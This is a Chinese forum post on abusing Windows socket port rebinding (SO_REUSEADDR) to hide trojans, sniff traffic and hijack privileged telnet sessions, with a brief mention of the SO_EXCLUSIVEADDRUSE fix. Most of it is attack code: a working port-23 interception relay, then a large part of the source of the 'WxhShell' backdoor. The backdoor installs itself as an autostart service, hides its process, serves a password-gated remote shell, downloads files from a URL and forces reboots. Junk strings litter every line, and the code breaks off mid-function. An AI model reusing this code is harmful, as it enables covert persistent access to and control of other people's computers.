社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11503阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7fg +WZ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BrQXSN$i  
)Bq~1M 2  
  saddr.sin_family = AF_INET; &u_s*  
}LaRa.3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _k,/t10  
3 oG5E"G  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); FYe(S V(9  
`6.rTs $<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $1h,<$5H  
Y!8Ik(/~i  
  这意味着什么?意味着可以进行如下的攻击: -2dk8]KB]  
<3;Sq~^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `zjEs8`'  
,c%>M^d  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7n1@m_7O  
)K4A-9pC  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 nbpGxUF`]  
].j;d2xT\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  m&H@f:  
#sOkD  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ItZqLUJ m  
Fnnk }I}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1%?J l~M  
pD+_ K  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 a/Cd;T2  
.7ZV: m  
  #include k|^e=I   
  #include m{/?6h 1  
  #include b|cUKsL5  
  #include     vj+x(  
  DWORD WINAPI ClientThread(LPVOID lpParam);   z4 snH%q  
  int main() V'";u?h#S  
  { |g3a1El  
  WORD wVersionRequested; F0O/SI(cA  
  DWORD ret; a| *{BlY  
  WSADATA wsaData; ov{  
  BOOL val; uIG,2u,  
  SOCKADDR_IN saddr; ZE())W"  
  SOCKADDR_IN scaddr; wgK:^D P  
  int err; 6w d0"  
  SOCKET s; h|_E>6d)  
  SOCKET sc; R).?lnS  
  int caddsize; Jv*(DFt!v  
  HANDLE mt; ?]`kc  
  DWORD tid;   !);kjXQS?  
  wVersionRequested = MAKEWORD( 2, 2 ); ]vJ] i <|b  
  err = WSAStartup( wVersionRequested, &wsaData ); J!$q"0G'WT  
  if ( err != 0 ) { ,~@Nhd~k  
  printf("error!WSAStartup failed!\n"); 5$,dpLbL  
  return -1; R89 ;<,Ie  
  } >i>%@  
  saddr.sin_family = AF_INET; rpk )i:k\  
   U{2[n F  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~ >af"<  
_]~gp.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); NArql  
  saddr.sin_port = htons(23); %"2 ;i@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) : GZx-  
  { ?N 6'*2{NT  
  printf("error!socket failed!\n"); v'"0Ya  
  return -1; =tJ}itcJ'  
  } pq 4/>WzE  
  val = TRUE; |fx*F}1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 'n7 )()"2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )Q_^f'4  
  { hJavi>374  
  printf("error!setsockopt failed!\n"); < sJ  
  return -1; (p2jigP7a[  
  } w`kn!k8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; e12.suv  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 yG)zrRU  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 S}q6CG7 u  
^Z:oCTOP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) W0]W[b,:u$  
  { Gz]p2KBg  
  ret=GetLastError(); CS;bm `8a  
  printf("error!bind failed!\n"); NuLyu=.?  
  return -1; &{): x  
  } j4v.8;  
  listen(s,2); *C~O[:6D  
  while(1) R^`#xQ  
  { S\"/=|\  
  caddsize = sizeof(scaddr); - J9K  
  //接受连接请求 bk@F/KqL  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); GXV<fc"1  
  if(sc!=INVALID_SOCKET) WD=#. $z$  
  {  aKkG[q N  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >4gGb)  
  if(mt==NULL) CNCWxu  
  { Cv@ZzILyoK  
  printf("Thread Creat Failed!\n"); .w/_Om4T*b  
  break; K:!|xr(1d  
  } `'Fz :i  
  } A4lh`n5%  
  CloseHandle(mt); S]kY'(V(*  
  } J2\%rb,  
  closesocket(s); [FHSFr E,5  
  WSACleanup(); 1(z&0Y;  
  return 0; t(-`==.R  
  }   J. ;9-  
  DWORD WINAPI ClientThread(LPVOID lpParam) :wn9bCom?M  
  { f%Y'7~9bA  
  SOCKET ss = (SOCKET)lpParam; a?4'',~  
  SOCKET sc; Nwu,:}T  
  unsigned char buf[4096]; }g1V6 `8&  
  SOCKADDR_IN saddr; %#!`>S)O  
  long num; Mqu>#lL  
  DWORD val; q*,g  
  DWORD ret; (Ev/R%Z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 wAC*D=Qj  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   bLrC_  
  saddr.sin_family = AF_INET; 2f'3Vjp~G  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); | |=q"h3(  
  saddr.sin_port = htons(23); &tT*GjPwg;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W'l &rm@  
  {  `Pa)H  
  printf("error!socket failed!\n"); cNi)[2o7  
  return -1; M_wqb'=  
  } {H FF|Dx  
  val = 100; O?<R.W<QI  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) oxN~(H)/ #  
  { ['p%$4i$  
  ret = GetLastError(); "PM!03rb  
  return -1; !;";L5()  
  } ;9>(yJI+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) biTET|U`$  
  { BU-m\Kf)  
  ret = GetLastError(); ^oNk}:>  
  return -1; 0/7y&-/(  
  } 6%/@b`vZ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Bvke@|]kW  
  { F!FXZht$P  
  printf("error!socket connect failed!\n"); ykY#Y}?^  
  closesocket(sc); 0'Kbh$LU  
  closesocket(ss); r;gtfX*  
  return -1; DA)mkp  
  } <ob+Ano$  
  while(1) t{\,vI  
  { {ZiZ$itf  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9C?;'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ZeVb< g  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 II !Nr{A  
  num = recv(ss,buf,4096,0); >j [> 0D  
  if(num>0) YzTmXwuA5  
  send(sc,buf,num,0); F`W8\u'db  
  else if(num==0) 739J] M  
  break; E;[ANy4L  
  num = recv(sc,buf,4096,0); V2< 4~J2:9  
  if(num>0) m_{?py@tZ  
  send(ss,buf,num,0); . zM  
  else if(num==0) bVE t?E*+  
  break; 'Xl[ y  
  } "i+fO&LpZ  
  closesocket(ss); [nQ<pTg~r  
  closesocket(sc); 8*sZ/N.  
  return 0 ; 4a'GWzUtS  
  } ghXh nxG  
Ne^md  
 EAVB:gE  
========================================================== +bi%4DA  
$S~e"ca1  
下边附上一个代码,,WXhSHELL Jg I+k Nx  
Q+d9D1b  
========================================================== qla$}dnvc  
Im9^mVe  
#include "stdafx.h" &. sfu$]  
0~qnwe[g}  
#include <stdio.h> `(j}2X'[  
#include <string.h> Zj )Bd* a  
#include <windows.h> X{SD3j=G#  
#include <winsock2.h> XdKhT618G  
#include <winsvc.h> 9v_B$F$_T  
#include <urlmon.h> * A B  
joa|5v'  
#pragma comment (lib, "Ws2_32.lib") zY@|KV"^r  
#pragma comment (lib, "urlmon.lib") VGLE5lP X  
a8K"Z-LlQ  
#define MAX_USER   100 // 最大客户端连接数 n !ty\E  
#define BUF_SOCK   200 // sock buffer Vj^<V|=  
#define KEY_BUFF   255 // 输入 buffer &lg+uK  
6PETIs  
#define REBOOT     0   // 重启 cwK 6$Ax  
#define SHUTDOWN   1   // 关机 h(aF>a\Z  
Q_<CG[,6D1  
#define DEF_PORT   5000 // 监听端口 vas   
8 Zy`Z  
#define REG_LEN     16   // 注册表键长度 86J7%;^Xa  
#define SVC_LEN     80   // NT服务名长度 2" (vjnfH  
<&3qFK*9r  
// 从dll定义API t\2Lo7[Pu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oi4tj.!J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =y" lX{}G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); > <WR]`G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cE S3<`[K  
SooSOOAx[  
// wxhshell配置信息 y>zPsc,  
struct WSCFG { eJ0PSW/4l  
  int ws_port;         // 监听端口 bg$df 0  
  char ws_passstr[REG_LEN]; // 口令 q7-Eu4w  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^J0*]k%   
  char ws_regname[REG_LEN]; // 注册表键名 T9enyYt%  
  char ws_svcname[REG_LEN]; // 服务名 so h3 d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E7E>w#T5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Bor_Kib  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a@_.uD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q>s>@hw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8E`rs)A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xmz83Ll9  
CA[-\>J7y  
}; =8`,,=P^  
vluA46c  
// default Wxhshell configuration gf6<`+/  
struct WSCFG wscfg={DEF_PORT,  k?|l;6  
    "xuhuanlingzhe", d)m +Hc.  
    1, &-#!]T-P:E  
    "Wxhshell", 09y%FzV  
    "Wxhshell", 7VkT(xnm  
            "WxhShell Service", aL@myq.  
    "Wrsky Windows CmdShell Service", :| J' HCth  
    "Please Input Your Password: ", *7<5 G{  
  1, 9W$FX  
  "http://www.wrsky.com/wxhshell.exe", \`?l6'!  
  "Wxhshell.exe" a5o&6_  
    }; 0ts] iQ7  
R[>fT}Lo  
// 消息定义模块 !K;\{/8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +5(#~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B5"(NJ;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^]}UyrOn  
char *msg_ws_ext="\n\rExit."; fw@n[u{~  
char *msg_ws_end="\n\rQuit."; '6*^s&H~  
char *msg_ws_boot="\n\rReboot..."; H8j#rC#&pm  
char *msg_ws_poff="\n\rShutdown..."; !gv/jdF  
char *msg_ws_down="\n\rSave to "; #)`N  
+ZeHZjd  
char *msg_ws_err="\n\rErr!"; zrYhx!@  
char *msg_ws_ok="\n\rOK!"; fvKb0cIx]  
9:N@+;|T  
char ExeFile[MAX_PATH]; HgJ:Rf]  
int nUser = 0; +VSJve |  
HANDLE handles[MAX_USER]; \v bU| a  
int OsIsNt; *9((X,v@/  
ej dYh $  
SERVICE_STATUS       serviceStatus; o*H j E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VH1PC  
B '\^[  
// 函数声明 5I9~OJ>  
int Install(void); JgXP2|Y!  
int Uninstall(void); Ld>y Fb(`  
int DownloadFile(char *sURL, SOCKET wsh); n@[&SgZq  
int Boot(int flag); <oG+=h  
void HideProc(void); q6'3-@%  
int GetOsVer(void); NqcmjHvy  
int Wxhshell(SOCKET wsl); WT$m*I  
void TalkWithClient(void *cs); i8A{DMc,U  
int CmdShell(SOCKET sock); ZaQg SE>Y  
int StartFromService(void); :X-Z|Pv8  
int StartWxhshell(LPSTR lpCmdLine); VR/7CI4=  
+grIw# j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FHWzwi*u}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T4n.C~  
!$r4 lu  
// 数据结构和表定义 $PA=7`\MP/  
SERVICE_TABLE_ENTRY DispatchTable[] = ;Hr FPx&d1  
{ (h>Jz  
{wscfg.ws_svcname, NTServiceMain}, 37'@,*m`  
{NULL, NULL} 6#P\DT  
}; dOPA0Ja  
WoGK05w  
// 自我安装 W,~s0a!  
int Install(void) '3S S%W  
{ VF1)dd  
  char svExeFile[MAX_PATH]; +#~=QT9  
  HKEY key; >}{'{ Z &  
  strcpy(svExeFile,ExeFile); g'G%BX  
DIO @Zo  
// 如果是win9x系统,修改注册表设为自启动 )%'Lm  
if(!OsIsNt) { ~ qe9U 0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ncS.~F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b(wzn`Z%Et  
  RegCloseKey(key); Z(LDAZG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VP^Yph 8R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "4N%I  
  RegCloseKey(key); .),%S}  
  return 0; EIO!f[]o  
    } J~7E8  
  } v%c r   
} b'Cy!dr  
else {  |/K+tH  
idiJ|2T"G  
// 如果是NT以上系统,安装为系统服务 <1#v}epD#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1.WdxMpW9  
if (schSCManager!=0) c$aTl9e  
{ (3YqM7cqt  
  SC_HANDLE schService = CreateService F#S^Q`  
  (  qGG  
  schSCManager, J{8_4s!Xt>  
  wscfg.ws_svcname, 0&$+ CWSM  
  wscfg.ws_svcdisp, 4?YhqJ  
  SERVICE_ALL_ACCESS, |eT?XT<=o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q H&7Q{  
  SERVICE_AUTO_START, sXm8KV  
  SERVICE_ERROR_NORMAL, 7MIu-x|  
  svExeFile, 2Wz/s 0`  
  NULL, Qd"{2>  
  NULL, m[&]#K6  
  NULL, G4g <PFx  
  NULL, K%9PIqK?4  
  NULL AnVj '3  
  ); v w$VR PW  
  if (schService!=0) .&d]7@!qy  
  { |@pJ]  
  CloseServiceHandle(schService); Gs$<r~Tg  
  CloseServiceHandle(schSCManager); mlCw(i,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5P_%Vp`B2  
  strcat(svExeFile,wscfg.ws_svcname); cF{5[?wS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zRtaO'G(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t6p}LNm(V  
  RegCloseKey(key); F*QZVg+<*X  
  return 0; 5^'PjtW6  
    } I=)Hb?q T~  
  } F[/Bp>P7  
  CloseServiceHandle(schSCManager); ~?&;nTwHe  
} 2b+cz  
} OD5c,IkWB  
z:f[<`,GT  
return 1; Y; =y-D  
} h-`Jd>u"  
w6>'n }  
// 自我卸载 NikY0=i  
int Uninstall(void) Q`ERI5b6  
{ c]jK Y<  
  HKEY key; y05(/NH>  
pUby0)}t  
if(!OsIsNt) { hKv3;jcd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UlQZw*ce  
  RegDeleteValue(key,wscfg.ws_regname); ]$/TsN  
  RegCloseKey(key); (!kOM% 3{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KB+,}7  
  RegDeleteValue(key,wscfg.ws_regname); S)Cd1`Gf  
  RegCloseKey(key); $7~ k#_#PC  
  return 0; ws9F~LmLbr  
  } s hjb b  
} j48cI3C  
} hEAt4z0P  
else { [su2kOX|X  
%!$ua_8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4eapR|#T  
if (schSCManager!=0) [f["9(:  
{ N'_,VB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lot7SXvK  
  if (schService!=0) m=i8o `  
  { X8l[B{|  
  if(DeleteService(schService)!=0) { {IEc{y7?gO  
  CloseServiceHandle(schService); NN1d?cOn  
  CloseServiceHandle(schSCManager); l1}=>V1  
  return 0; i6wLM-.)  
  } 68 d\s 4  
  CloseServiceHandle(schService); cA%70Y:AV  
  } FyYD7E  
  CloseServiceHandle(schSCManager); {>[,i`)  
} :9H=D^J  
} f?: o  
fis**f0  
return 1; 2= FGZa*.  
} fk-zT  
W6f?/{Oo8  
// 从指定url下载文件 [*zB vj}G  
int DownloadFile(char *sURL, SOCKET wsh) HFYN(nz}[  
{ qPsf`nI7  
  HRESULT hr; YCod\}3  
char seps[]= "/"; >0kn&pe7#T  
char *token; y7aBF13Kl  
char *file; HHa XK  
char myURL[MAX_PATH]; ^t4T8ejn  
char myFILE[MAX_PATH]; -U;2 b_  
uP bvN[~t  
strcpy(myURL,sURL); Ut4cli&cC  
  token=strtok(myURL,seps); VS0 &[bl  
  while(token!=NULL) l6ayV  
  { NT?Gl(  
    file=token; 7 J$  
  token=strtok(NULL,seps);  M\zM-B  
  } 5]yQMY\2)  
v^2q\A-?  
GetCurrentDirectory(MAX_PATH,myFILE); c6gRXp'ID  
strcat(myFILE, "\\"); SSO F\  
strcat(myFILE, file); \{  
  send(wsh,myFILE,strlen(myFILE),0); ;&4}hPq  
send(wsh,"...",3,0); &~oBJar  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d`9% :2qE  
  if(hr==S_OK) +{Yd\{9  
return 0; 9[}L=n  
else [#$:X+lw  
return 1; cLl=?^DB  
K#q1/2  
} _jt>%v4}4  
5X>b(`  
// 系统电源模块 V+My]9ki  
int Boot(int flag) urmx})=  
{ !v(j#N< m  
  HANDLE hToken; C5mq@$6  
  TOKEN_PRIVILEGES tkp; SQ7Ws u>T@  
7i?"akr4  
  if(OsIsNt) { WVDkCo@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E0QrByr_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )P    
    tkp.PrivilegeCount = 1; 2(V;OWY(@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x*GGO)r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sd|5oz )  
if(flag==REBOOT) { 3>FeTf#:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &u) R+7bl,  
  return 0; |r2 U4 ^  
} 'J(rIH3U  
else { $<R\|_6J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M6J~%qF^  
  return 0; $g? ]9}p  
} :D(4HXHK%  
  } le1  
  else { \q9wo*A  
if(flag==REBOOT) { Y'tPD#|r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {&Kck>C'  
  return 0; i?" ~g!A  
} ,e\'Y!'  
else { .$nQD.X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zzlV((8 ~  
  return 0; A2 'W  
} ._2#89V  
} 1&%6sZN  
"b)Y5[nW  
return 1; vsc)EM ]  
} aH7i$U&  
nn'a` N  
// win9x进程隐藏模块 !,8jB(  
void HideProc(void) }pk)\^/w/  
{ z|,YO6(L  
LLp/ SWe  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /[ _aw&W}Z  
  if ( hKernel != NULL ) 9K~0:c  
  { h/`]=kCl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =[]V$<G'w{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o@SL0H-6|  
    FreeLibrary(hKernel); wuRB[KLe  
  } -E, d)O`;$  
O  |45r   
return; ?U+^ctwv7  
} {C+blzh6  
Wtl/xA_  
// 获取操作系统版本 Zj,1)ii  
int GetOsVer(void) 37C'knW  
{ r@e/<bz9  
  OSVERSIONINFO winfo; oSd TQ$U!D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -!d'!; ]  
  GetVersionEx(&winfo); ^d2#J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e5\/:HpI  
  return 1; kn2s,%\`<p  
  else [ 6+iR  
  return 0; +XL^dzN[|$  
} p5RnFe l  
*4]u?R  
// 客户端句柄模块 KZ8Hp=s  
int Wxhshell(SOCKET wsl) 3<Qe'd ^  
{ 6T*MKu  
  SOCKET wsh; ^y" #2Ov  
  struct sockaddr_in client; &Pk #v  
  DWORD myID; uY6]rt_#a  
X/< zxM  
  while(nUser<MAX_USER) ~SKV%  
{ pxf(C<y6_  
  int nSize=sizeof(client); Bi}uL)~rD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M8_f{|!&  
  if(wsh==INVALID_SOCKET) return 1; ^qB a~  
9]u=b\fzZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XPJsnu  
if(handles[nUser]==0) V { #8+  
  closesocket(wsh); G;RFY!o  
else HpbSf1VvAf  
  nUser++; 2bu,_<K.  
  } l', +l{\Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j@g`Pm%u`  
^,-2";2Xh  
  return 0; Ax"]+pb  
} ,|5|aVfh  
Ez()W,6]g  
// 关闭 socket ]iI2  
void CloseIt(SOCKET wsh) f\p#3IwwH  
{ }%^N9AA8  
closesocket(wsh); dWc'RwL  
nUser--; oRDqN]  
ExitThread(0); CjFnE   
} `!BP.-Zv  
G5MoIC  
// 客户端请求句柄 6 &8uLM(z  
void TalkWithClient(void *cs) g&E3Wc  
{ `kE ;V!n?  
uU$YN-  
  SOCKET wsh=(SOCKET)cs; #)3luf3G  
  char pwd[SVC_LEN]; HB|R1<t;HB  
  char cmd[KEY_BUFF]; io&FW!J.  
char chr[1]; JxP&znng  
int i,j; dG8_3T}i  
ww? AGd  
  while (nUser < MAX_USER) { j\hI, mc  
d76nyQKK  
if(wscfg.ws_passstr) { a:v5(@8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $O'IbA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;!~&-I0l  
  //ZeroMemory(pwd,KEY_BUFF); Z]~) ->=}  
      i=0; %XC3V7  
  while(i<SVC_LEN) { 5>Kk>[|.  
}Qu kn  
  // 设置超时 &':Ecmo~`  
  fd_set FdRead; $@Bd}35 J  
  struct timeval TimeOut; 4Tdp;n\F  
  FD_ZERO(&FdRead); Mg"e$m  
  FD_SET(wsh,&FdRead); ,1K`w:uhS  
  TimeOut.tv_sec=8; _O,k0O   
  TimeOut.tv_usec=0; Q[n*ce7L0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }Fq~!D Ee  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f (Su  
e 48N[p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R:+cumHr  
  pwd=chr[0]; Be$v%4  
  if(chr[0]==0xd || chr[0]==0xa) { rv?4S`Z,x$  
  pwd=0; luWr.<1  
  break; urbSprdF  
  } TCWt3\  
  i++; >%\&tS'  
    } M*gbA5  
ln1!%B;  
  // 如果是非法用户,关闭 socket v\Y8+dD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zJ*(G_H  
} {*PbD;/f  
WGwIc7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1IPRI<1U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '< .gKo  
{j8M78}3  
while(1) { [4 v1 N  
yM2}J s C  
  ZeroMemory(cmd,KEY_BUFF); ^TZ`1:oL#  
;Yve m  
      // 自动支持客户端 telnet标准   +HT?> k  
  j=0; H$ZLtPv5  
  while(j<KEY_BUFF) { ?/}N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I7 = 4%)A  
  cmd[j]=chr[0]; ]x(cX&S-9  
  if(chr[0]==0xa || chr[0]==0xd) { /lS5B6NU  
  cmd[j]=0; }'p"q )  
  break; %dwI;%0  
  } hLICu[LC?  
  j++; 0FcG;i+  
    } cj\?vX\V  
Ul<:Yt&nI  
  // 下载文件 Y|!m  
  if(strstr(cmd,"http://")) { "wR1=&gk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8l l}"  
  if(DownloadFile(cmd,wsh)) q o6~)Aws  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &_$0lI DQ  
  else r_hs_n!6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tMiy`CPh  
  }  3 GL,=q  
  else { 3y%,f|ju  
LC, 6hpmh  
    switch(cmd[0]) { Bra}HjHO  
  -#Ys67,4N  
  // 帮助 JJHO E{%  
  case '?': { 9Ca }+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b_vKP  
    break; xj[v$HP  
  } Y SB~04  
  // 安装 ?,`g h}>  
  case 'i': { ]++,7Z\AU  
    if(Install()) ,m Nd#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d{Cg3v`Rd  
    else Oz4vV_a&'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0j :u.x  
    break; Yosfk\D  
    } TWM^5 L:U  
  // 卸载 G1a56TIN~  
  case 'r': { <{T5}"e  
    if(Uninstall()) pkf$%{"e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2~l+2..  
    else xOx=Z\ c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `\r <3?  
    break; &`IJ55Z-)  
    } -EJj j {  
  // 显示 wxhshell 所在路径 y(wb?86#W5  
  case 'p': { _;,"!'R`f  
    char svExeFile[MAX_PATH]; Iw4[D#o  
    strcpy(svExeFile,"\n\r"); T#\=v(_NR  
      strcat(svExeFile,ExeFile); BJt]k7ku+  
        send(wsh,svExeFile,strlen(svExeFile),0); S6<#] 6 Z  
    break; =h70!) Z5  
    } DYF(O-hJK  
  // 重启 QM'|k6  
  case 'b': { \fsNI T/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rvacCwI  
    if(Boot(REBOOT)) P(UY}oU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +G6 Ge;  
    else { 0a2#36;_IK  
    closesocket(wsh); j 8)*'T  
    ExitThread(0); ?_B'#,tI  
    }  Q@!XVQx4  
    break; dT{GB!jz  
    } 1k]L,CX  
